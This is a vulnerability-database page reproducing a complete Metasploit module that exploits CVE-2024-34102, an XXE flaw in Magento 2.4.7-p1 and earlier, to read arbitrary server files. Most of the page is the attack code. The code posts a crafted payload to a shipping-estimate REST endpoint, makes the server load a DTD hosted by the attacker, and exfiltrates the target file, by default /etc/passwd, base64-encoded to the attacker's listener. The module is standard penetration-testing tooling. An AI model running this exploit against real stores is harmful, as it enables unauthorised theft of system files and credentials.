Lucene search
K

Magento XXE Unserialize Arbitrary File Read

🗓️ 31 Aug 2024 00:00:00Reported by Heyder, Sergey Temnikov, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 303 Views

Magento XXE Unserialize Arbitrary File Read. Exploits XXE vulnerability in Magento 2.4.7-p1 and below to read any file on the system

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
prepend Msf::Exploit::Remote::AutoCheck  
CheckCode = Exploit::CheckCode  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Magento XXE Unserialize Arbitrary File Read',  
'Description' => %q{  
This module exploits a XXE vulnerability in Magento 2.4.7-p1 and below which allows an attacker to read any file on the system.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Sergey Temnikov', # Vulnerability discovery  
'Heyder', # Metasploit module  
],  
  
'References' => [  
['CVE', '2024-34102'],  
['URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md']  
],  
'DisclosureDate' => '2024-06-11',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']),  
OptString.new('TARGETFILE', [ true, 'The target file to read', '/etc/passwd']),  
OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false])  
]  
)  
end  
  
def check  
vprint_status('Trying to get the Magento version')  
  
# request to check if the target is vulnerable /magento_version  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/magento_version')  
})  
  
return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200  
  
# Magento/2.4 (Community)  
version, edition = res.body.scan(%r{Magento/([\d.]+) \(([^)]+)\)}).first  
  
version = Rex::Version.new(version)  
  
return CheckCode::Safe("Detected Magento #{edition} edition version #{version} which is not vulnerable") unless  
version <= (Rex::Version.new('2.4.7')) ||  
version <= (Rex::Version.new('2.4.6-p5')) ||  
version <= (Rex::Version.new('2.4.5-p7')) ||  
version <= (Rex::Version.new('2.4.4-p8')) ||  
(  
edition == 'Enterprise' && (  
version <= (Rex::Version.new('2.4.3-ext-7')) ||  
version <= (Rex::Version.new('2.4.2-ext-7'))  
)  
)  
  
CheckCode::Appears("Detected Magento #{edition} edition version #{version} which is vulnerable")  
end  
  
def ent_eval  
@ent_eval ||= Rex::Text.rand_text_alpha_lower(4..8)  
end  
  
def leak_param_name  
@leak_param_name ||= Rex::Text.rand_text_alpha_lower(4..8)  
end  
  
def dtd_param_name  
@dtd_param_name ||= Rex::Text.rand_text_alpha_lower(4..8)  
end  
  
def make_xxe_dtd  
filter_path = "php://filter/convert.base64-encode/resource=#{datastore['TARGETFILE']}"  
ent_file = Rex::Text.rand_text_alpha_lower(4..8)  
%(  
<!ENTITY % #{ent_file} SYSTEM "#{filter_path}">  
<!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/?#{leak_param_name}=%#{ent_file};'>">  
)  
end  
  
def xxe_xml_data  
param_entity_name = Rex::Text.rand_text_alpha_lower(4..8)  
  
xml = "<?xml version='1.0' ?>"  
xml += "<!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}"  
xml += '['  
xml += " <!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY >"  
xml += " <!ENTITY % #{param_entity_name} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha_lower(4..8)}.dtd'> %#{param_entity_name}; %#{dtd_param_name}; "  
xml += ']'  
xml += "> <r>&#{ent_eval};</r>"  
  
xml  
end  
  
def xxe_request  
vprint_status('Sending XXE request')  
  
signature = Rex::Text.rand_text_alpha(6).capitalize  
  
post_data = <<~EOF  
{  
"address": {  
"#{signature}": "#{Rex::Text.rand_text_alpha_lower(4..8)}",  
"totalsCollector": {  
"collectorList": {  
"totalCollector": {  
"\u0073\u006F\u0075\u0072\u0063\u0065\u0044\u0061\u0074\u0061": {  
"data": "#{xxe_xml_data}",  
"options": 12345678  
}  
}  
}  
}  
}  
}  
EOF  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/rest/V1/guest-carts/1/estimate-shipping-methods'),  
'ctype' => 'application/json',  
'data' => post_data  
})  
  
fail_with(Failure::UnexpectedReply, "Server returned unexpected response: #{res.code}") unless res&.code == 400  
  
body = res.get_json_document  
  
fail_with(Failure::UnexpectedReply, 'Server might not be vulnerable') unless body['parameters']['fieldName'] == signature  
end  
  
def run  
if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'  
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')  
end  
  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
start_service({  
'Uri' => {  
'Proc' => proc do |cli, req|  
on_request_uri(cli, req)  
end,  
'Path' => '/'  
}  
})  
datastore['SSL'] = true if ssl_restore  
xxe_request  
rescue Timeout::Error => e  
fail_with(Failure::TimeoutExpired, e.message)  
end  
  
def on_request_uri(cli, req)  
super  
data = ''  
  
case req.uri  
when /(.*).dtd/  
vprint_status("Received request for DTD file from #{cli.peerhost}")  
data = make_xxe_dtd  
when /#{leak_param_name}/  
data = req.uri_parts['QueryString'].values.first.gsub(/\s/, '+')  
if data&.empty?  
print_error('No data received')  
else  
  
file_name = datastore['TARGETFILE']  
file_data = ::Base64.decode64(data).force_encoding('UTF-8')  
  
if datastore['STORE_LOOT']  
p = store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], file_data, file_name, 'Magento XXE CVE-2024-34102 Results')  
print_good("File saved in: #{p}")  
else  
# A new line is sent before file contents for better readability  
print_good("File read succeeded! \n#{file_data}")  
end  
  
end  
else  
print_status("Unexpected request received: '#{req.method} #{req.uri}'")  
end  
  
send_response(cli, data)  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 3.19.8
EPSS0.94171
303